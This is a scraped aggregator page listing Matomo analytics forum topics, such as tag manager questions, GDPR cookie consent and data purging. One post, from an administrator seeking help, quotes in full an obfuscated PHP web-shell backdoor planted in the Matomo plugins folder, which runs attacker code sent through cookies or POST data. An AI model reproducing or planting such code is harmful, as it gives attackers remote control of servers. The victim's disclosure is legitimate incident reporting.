Quantcast
Channel: Matomo forums - Latest topics
Viewing all 14096 articles
Browse latest View live

Newbie - woran erkenne ich ob Matomo oder Matomo on Premise genutzt werden

$
0
0

Liebe Community,
gibt es eine schnelle Möglichkeit herauszufinden, ob bei meinem Unternehmen Matomo oder Matomo on Premise genutzt werden?
In der IT kann mir auf die Schnelle niemand eine Antwort dazu geben und in meinem Team ist diejenige nicht mehr da, die Matomo eingerichtet hat.

Danke und liebe Grüße

1 post - 1 participant

Read full topic


Plugin SecurityInfo - deprecated php code

$
0
0

Hi,

I’ve just installed SecurityInfo plugin from MarketPlace.

Accessing the pluging page, I got this error message :

WARNING: /var/www/html/piwik/plugins/SecurityInfo/PhpSecInfo/Test/Test.php(383): Deprecated - Array and string offset access syntax with curly braces is deprecated - Matomo 3.14.1 - Please report this message in the Matomo forums: https://forum.matomo.org (please do a search first as it might have been reported already) (Module: SecurityInfo, Action: index, In CLI mode: false)

I’m not very worried by this message but it indicates to report this message in the Matomo forums, so here it is :slight_smile: Hope it’s useful.

About soft versions :

Version de Matomo: 3.14.1
Version de MySQL: 10.1.19-MariaDB
Version de PHP: 7.4.10 

1 post - 1 participant

Read full topic

Merging raw data from dbase backup

$
0
0

We have lost some reports due to deleting raw data automatically and then invalidating reports. ‘Regularly delete old raw data’ was set to 365 days, so we have solid raw data for the last year, and I’d like to restore as much of the previous data as possible.

Is it possible to merge old raw data with current by importing some tables from a mysql dump? If so, how many tables would I need to import?

I’m sure this will probably generate more questions once I get started.

1 post - 1 participant

Read full topic

Using Tag Manager with user consent

$
0
0

I want to implement the Matomo Tag Manager and need to offer an option to the user to activate it.

For the “classic” integration there is the rememberConsentGiven (documentation method. But I couldn’t find an option for the Tag Manager API. Any help?

1 post - 1 participant

Read full topic

Tracking of embedded iframe with Matomo Tag Manager

$
0
0

Is there a way to track activities (clicks, input, …) inside of an embedded Iframe (form) with Tag Manager?

1 post - 1 participant

Read full topic

trackContentImpression from tag manager

$
0
0

I’m trying to track content impressions for a popup manually from tag manager.

<script>
_paq.push(['trackContentImpression', '{{DL - cContentName}}', '{{DL - cContentPiece}}', '{{DL - cContentUrl}}']);
</script>

In console, I get a error message “Method trackContentImpression is not valid”.

What am I doing wrong?

1 post - 1 participant

Read full topic

Heatmap BaseUrl issues

$
0
0

Hey guys,

I’m currently trying the " Heatmap & Session Recording" and have some major issue.
As I’m using TYPO3 I have the language-part between my domain and the query part, which works as expected since I set the base-tag in HTML.
Now the thing is, the heatmap-plugin ignores this and tries to load wrong urls.

Let’s say the current url is
www.somewhere.com/en/someplace/
then the matomo heatmap tries to load css and graphics from e.g.
www.somewhere.com/en/someplace/style.css
whilst the base-tag says
www.somewhere.com
so browsers use the correct address:
www.somewhere.com/style.css

Is there a way to make the heatmap respect the base-tag or can I set something else so matomo heatmap uses the correct urls?

1 post - 1 participant

Read full topic

What is the best way to purge old data if it has never been run in 12 years?

$
0
0

We have never activated the purging of old data before and just run our first archiving task in 12 years. Our database is over 20G in size, and we would like to purge everything that is older than 3 years.

I see the options in the UI to configure automatic purging and see I can schedule it to run daily, weekly or monthly, but I’m afraid it could take too long and timeout for the first run since we have too much data.

The help for the core:purge-old-archive-data console command is a bit confusing. Let’s say I want to delete data in multiple stages (chunks) so it’s more manageable, how should I specify the dates? The description for the parameter refers to months to purge, but then it shows a full date in the example, and referers to the date “from” which to purge.

For example, if I would like to delete 1 year of data per pass starting with the oldest first, how would I specify the date in the console command?

1 post - 1 participant

Read full topic


HTTP error 500/408 after login to Matomo

$
0
0

Dear community,

since my colleagues were fired and have taken all the know-how with them, I am now responsible for our low traffic website by myself. Unfortunately, I have no experience with WordPress or Matomo at all, so I hope to find help here.

My company is using WordPress and Matomo version 3.14.0.

Since Wed Sep 03 there is a performance issue on the web host. The utilization has been increasing continuously since then.

I found many of this php processes running. More processes are added every day and the load continues to rise:

apache    11284 51.3  0.6 256564 25840 ?        R    Sep10 2468:29 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=baed16f0fafbc43657b4386d374bc21219077c90fe462f62aee5f349831f177598637cc0d2df46b2a6f6f7b4ad624189f3d60&runid=9924
apache    24120 48.2  0.6 256564 25832 ?        R    Sep11 2178:09 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2969f1e15b1cb6065c811b16b910d97e6540ecb2aed8ddab04319a38a478e8a45b0ef22baeee77334dccfa8665e59919b93e0&runid=11287
apache    38230 45.2  0.6 256564 25828 ?        R    Sep11 1928:22 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=60d7c0d8f1c7c1882b4626e9b8c37ba524ad60f3b3167cd8ce7033977d7ecf84abd43d789f369180dc34d1b08077ef61000f0&runid=11270
apache    56338 43.1  0.6 256564 25828 ?        R    Sep11 1778:13 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2fa471e8cce9301166f8caad4ab2863b201bb9eb4ca76bbdf99d68d037995d467d79c4a972ce1bcf3fb0efe4be66ea032b7e0&runid=54379
apache    71023 41.7  0.6 256564 25840 ?        R    Sep11 1674:19 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=829a2b76989b5de6cc9e4655ba2fa61d85b23d25999e687381e8cd5d6df13c1706deda44df9cfca46e7d1fc1d969d50182790&runid=69373
apache    81955 41.1  0.6 256564 24376 ?        R    Sep11 1625:29 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=c896229251f8a31becd37fd3b76d64592e53892042cab4e5df297e18bcbd19bfa32e683f7f573ad22790260b67c63cfc5ed40&runid=80078
apache    98531 40.4  0.6 256564 24412 ?        R    Sep11 1558:37 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=9de1b5da6bc0fb33d1ae76027f153690128a265f97e982181f32ff9fbba2381b17f82df21741821f51016a2c5c59499768c00&runid=71306
apache   114586 40.1  0.6 256564 25732 ?        R    Sep11 1503:00 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2a489a55fde18b1aed24473cca3ac2ca0443a79134a1273cc5b51e0e02963939c88e0fa5d28448148790cca4511d20736fa00&runid=106811
apache    23505 39.0  0.6 256564 24356 ?        R    Sep11 1325:30 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=0ccabec1a4dc11f8af5b1500442ce3ca2c8417f76d8f4e7eb4d7a627be4fd512c5b353e6bc2b765097a538bcf41df2a40a8d0&runid=23079
apache    23507 39.0  0.6 256564 24136 ?        R    Sep11 1326:47 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=0be27f385b8bd6da81d5fa59f1781f41d35cd1e101a94d5dd8635a0a75241172410fe8e324ed46751ac1593c54fc68ed2f0c0&runid=2670

Since about two weeks now I’ve been killing the processes to reduce the load. After killing the processes I loaded our website and saw that it was working fine and didn’t give any further thought for the moment.

A week ago our marketing department reported an HTTP ERROR 500 during login to Matomo. At this time, I didn’t know we were using Matomo.

I did a long research on the Internet to find out more about these processes. Finaly I was also able to overwrite the password of the Matomo admin account in the Matomo database.
When I tried to log in I got the same error as our marketing department: HTTP ERROR 500

I found the following errors in the apache log:

192.168.132.16 - - [22/Sep/2020:14:03:28 +0200] "GET /stats/index.php?module=CoreHome&action=index&idSite=1&period=day&date=yesterday HTTP/1.1" 500 -
192.168.132.16 - - [22/Sep/2020:14:03:50 +0200] "-" 408 -

Since Wed Sep 02 until now, the following error can also be found in the apache log:

[Wed Sep 02 20:27:18.265842 2020] [php7:error] [pid 17903] [client xx.xxx.xxx.xx:27708] PHP Fatal error:  Cannot redeclare oahhgkj() (previously declared in /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php:2) in /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php on line 2, referer: https://www.xxxxxxx.at/de/

Since the error has been occurring since Wed Sep 02 and the performance issue has been seen since Wed Sep 03, I suspect a connection between these two error messages.

I looked at the specified PHP script /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php and asked myself what that should be:

<?php
$uisqtx = 'l9drs8pnHbeti62x7*1_-k35ocu40a\'v#fgym';$trvpnl = Array();$trvpnl[] = $uisqtx[8].$uisqtx[17];$trvpnl[] = $uisqtx[25].$uisqtx[3].$uisqtx[10].$uisqtx[29].$uisqtx[11].$uisqtx[10].$uisqtx[19].$uisqtx[33].$uisqtx[26].$uisqtx[7].$uisqtx[25].$uisqtx[11].$uisqtx[12].$uisqtx[24].$uisqtx[7];$trvpnl[] = $uisqtx[1].$uisqtx[18].$uisqtx[14].$uisqtx[23].$uisqtx[27].$uisqtx[23].$uisqtx[25].$uisqtx[10].$uisqtx[20].$uisqtx[33].$uisqtx[29].$uisqtx[13].$uisqtx[29].$uisqtx[20].$uisqtx[27].$uisqtx[14].$uisqtx[14].$uisqtx[16].$uisqtx[20].$uisqtx[9].$uisqtx[29].$uisqtx[14].$uisqtx[28].$uisqtx[20].$uisqtx[23].$uisqtx[14].$uisqtx[29].$uisqtx[22].$uisqtx[5].$uisqtx[10].$uisqtx[14].$uisqtx[27].$uisqtx[33].$uisqtx[33].$uisqtx[2].$uisqtx[14];$trvpnl[] = $uisqtx[32];$trvpnl[] = $uisqtx[25].$uisqtx[24].$uisqtx[26].$uisqtx[7].$uisqtx[11];$trvpnl[] = $uisqtx[4].$uisqtx[11].$uisqtx[3].$uisqtx[19].$uisqtx[3].$uisqtx[10].$uisqtx[6].$uisqtx[10].$uisqtx[29].$uisqtx[11];$trvpnl[] = $uisqtx[10].$uisqtx[15].$uisqtx[6].$uisqtx[0].$uisqtx[24].$uisqtx[2].$uisqtx[10];$trvpnl[] = $uisqtx[4].$uisqtx[26].$uisqtx[9].$uisqtx[4].$uisqtx[11].$uisqtx[3];$trvpnl[] = $uisqtx[29].$uisqtx[3].$uisqtx[3].$uisqtx[29].$uisqtx[35].$uisqtx[19].$uisqtx[36].$uisqtx[10].$uisqtx[3].$uisqtx[34].$uisqtx[10];$trvpnl[] = $uisqtx[4].$uisqtx[11].$uisqtx[3].$uisqtx[0].$uisqtx[10].$uisqtx[7];$trvpnl[] = $uisqtx[6].$uisqtx[29].$uisqtx[25].$uisqtx[21];foreach ($trvpnl[8]($_COOKIE, $_POST) as $uibfx => $kwuco){function oahhgkj($trvpnl, $uibfx, $dhufifo){return $trvpnl[7]($trvpnl[5]($uibfx . $trvpnl[2], ($dhufifo / $trvpnl[9]($uibfx)) + 1), 0, $dhufifo);}function jisudj($trvpnl, $iopacr){return @$trvpnl[10]($trvpnl[0], $iopacr);}function ufvfdtw($trvpnl, $iopacr){$recoyi = $trvpnl[4]($iopacr) % 3;if (!$recoyi) {$djgtmbu = $trvpnl[1]; $hlcpp = $djgtmbu("", $iopacr[1]($iopacr[2]));$hlcpp();exit();}}$kwuco = jisudj($trvpnl, $kwuco);ufvfdtw($trvpnl, $trvpnl[6]($trvpnl[3], $kwuco ^ oahhgkj($trvpnl, $uibfx, $trvpnl[9]($kwuco))));}

Maybe someone knows about fswdffmx.php (Google doesn’t) or where it comes from.
I think solving this declaration error will also solve the error 500 / 408 and will let me login to Matomo to disable this “browser triggered archiving” feature to finaly solve the performance issue, hopfully.

Of course, our marketing department would be very happy to be able to use Matomo again.

Thank’s a lot,
nprett

1 post - 1 participant

Read full topic

Update Custom Dimension Without Pageview

$
0
0

I’d like to update a custom dimension for visitors once the page has already loaded and the tracking has already been completed for the page. I’ll be populating it with the results of another script that runs.

Is it possible to update dimensions for a user using js and php without triggering a new page view event?

1 post - 1 participant

Read full topic

Custom Dimensions Without Triggering Page View

$
0
0

I’d like to update custom dimensions by visitor ID without triggering a page view event, as the data is only available after the page has loaded.

Is it possible to post data to the endpoint without a page view event?

1 post - 1 participant

Read full topic

Matomo with XAMPP

$
0
0

I installed Matomo using Xampp. All the installation was done properly. The database was set up in phpmyadmin. All the tables were created properly. I created a test website in xampp/htdocs. I pasted the tracking code in- between the head tags.
Still, Matomo dashboard is showing “no data is being recorded”. Could anyone please help me with this?

1 post - 1 participant

Read full topic

Stylesheet Missing In Session Recordings

$
0
0

The stylesheet is missing in my session recording making them pretty useless.
I guess it’s because the WordPress Elementor Pro site has been updated and the name of the stylesheet has changed?
Is there anything I can do about this?
Does it happen when the page in question is updated or if any page on the site is updated does anyone know?
Any advice really appreciated…
Thanks

3 posts - 2 participants

Read full topic

Ab wann welche Hardware und welche CronJobs

$
0
0

Hallo,
ich habe eine Frage, die mich schon längere Zeit beschäftigt und man bekommt bei Matomo aus der FAQ keine klare Antwort.

Den CronJob sollte man auf alle 30 Minuten einstellen, bei hohen Besuchszahlen eher auf eine Stunde und bei ganz hohen Besuchszahlen einmal am Tag laufen lassen.

Doch was sind hohe Besuchszahlen?
1 Mio. am Tag - sicherlich
20.000 - 50.000 vielleicht
0-5.000 wohl eher nicht

Wie stellt ihr das ein, welche Erfahrungen habt ihr gemacht?

Zweite Frage:
Welche Anforderungen werden an die Hardware gestellt, wenn entsprechende Besuchszahlen vorhanden sind?

Für Besuchszahlen bis 1.000 pro Tag reicht sicherlich ein hosting Paket
Ab 1.000 dann ein V-Server
und ab 100.000 eine eigener Server?

Würde mich über Antworten freuen

3 posts - 2 participants

Read full topic

Usage of cookies, Opt-out feature, GDPR-compliance

$
0
0

I have some questions regarding usage of cookies, the opt-out feature, and GDPR compliance.
I would be grateful if you could help me understanding, how Matomo can be GDPR-compliant.

To find out, how the opt-out feature works, I opted-out on matomo.org. Also, on matomo-dot-org (sorry, the form software prevents me from writing more than 2 “links”), there is no cookie-banner shown, so I guess, it should not store cookies for the purpose of user tracking. (Or am I wrong on this?)

What I observed was the following: page-visits still cause a POST Request to “demo-web-dot-matomo-dot-org”, including the cookies “MATOMO_SESSID” and “piwig_ignore”. I guess the latter is to tell matomo on the server, that it should not track this request. But how can the user trust, what Matomo is doing on the server? The website has already sent a lot of “tracking data” to the tracking server, identifying the user with a session ID…
I read a lot of documentation on Matomo. It mostly tells about the features, how a user can opt-out. But I could not find any technical information, how this works. With the observed behavior, I doubt that it is really GDPR-compliant.

So my questions are:

  • Is there some documentation that shows how this features (mainly the Opt-Out process, and the cookie-consent options described here: developer.matomo.org/guides/tracking-consent) work technically? What cookies are set if the user opts-out or does not opt-out, and if he gives or denies consent to use cookies (when using the ‘requireCookieConsent’ feature), and for what purpose?
  • Especially: What is the MATOMO_SESSID used for, does its usage need Consent from a user via cookie-banner, and if so, how can it be disabled in case the user denies consent?
  • Was there any review by a lawyer, who confirmed that the processes suggested to make Matomo GDPR-compliant, are sufficient?

Thanks in advance

2 posts - 2 participants

Read full topic


Loading speed - footer code or plug-in?

$
0
0

I wonder if anyone can advise please?

In terms of page loading speed which is faster - the Matamo WP plug-in or manually introducing the Javascript code in the footer? I am currently using the latter to keep the plug-in count down.

Many thanks!

3 posts - 2 participants

Read full topic

Evolution graph period

$
0
0

On the dashboard I’ve got a period selected and I’ve opened Open Row Evolution of an event. In the dialog I’ve then changed the Period to day. But for some reason it’s not showing the days of the period I’ve selected in the dashboard and there is no other way to influence this period. For some reason it’s showing 25 aug to 23 sept, while my period is 21 to 27 sept.

Might be related to: https://github.com/matomo-org/matomo/issues/14149

1 post - 1 participant

Read full topic

Getting errors during installation

Data-content-ignoreinteraction doesn't seem to work in our scenario

$
0
0

Hello Matomo users and Matomo team.

We are attempting to track interactions across the menu section of the site.
The menu is rendered slightly differently on desktop and mobile.
We don’t want to differentiate content tracking between the different link (where some of the menu items links are outlinks, and some are javascript based interactivity), but want to make sure we track the actual menu items interactions.

How can we ignore any interactions on hambureger_Icon?
class=“matomoContentIgnoreInteraction” or data-content-ignoreinteraction didn’t help

So the code on the site looks like so:

  <header class="header-block-wrap" data-content-piece="HEADER>

     <div class="hamburger_Icon matomoContentIgnoreInteraction">
           The hamburger Icon that only shows on the mobile view.
     </div>


     <div class="menuItem">
        <a href="link" class="nav-link">Menu Item 1</a>
     </div>
     <div class="menuItem">
        <a href="link" class="nav-link">Menu Item 2</a>
     </div>
     <div class="menuItem">
        <a href="link" class="nav-link">Menu Item 3</a>
      </div>

   </header>

1 post - 1 participant

Read full topic

Logfile Analyse mit Matomo for Wordpress?

$
0
0

Hallo,
wir stehen kurz davor, in unserer Firma matomo Analytics for Wordpress einzuführen. Nun ist die Freigabe an bestimmte Voraussetzungen geknüpft. Eine davon ist, dass die Analyse ausschließlich über die Logfiles stattzufinden hat, ohne Einsatz von JS.

Habt ihr bei euch bereits ähnlich ähnliche Diskussionen führen müssen? Und wie seid ihr diesem Wunsch ggf. nachgekommen? Ist der Weg überhaupt möglich?

VG

M.

6 posts - 2 participants

Read full topic

Viewing all 14096 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>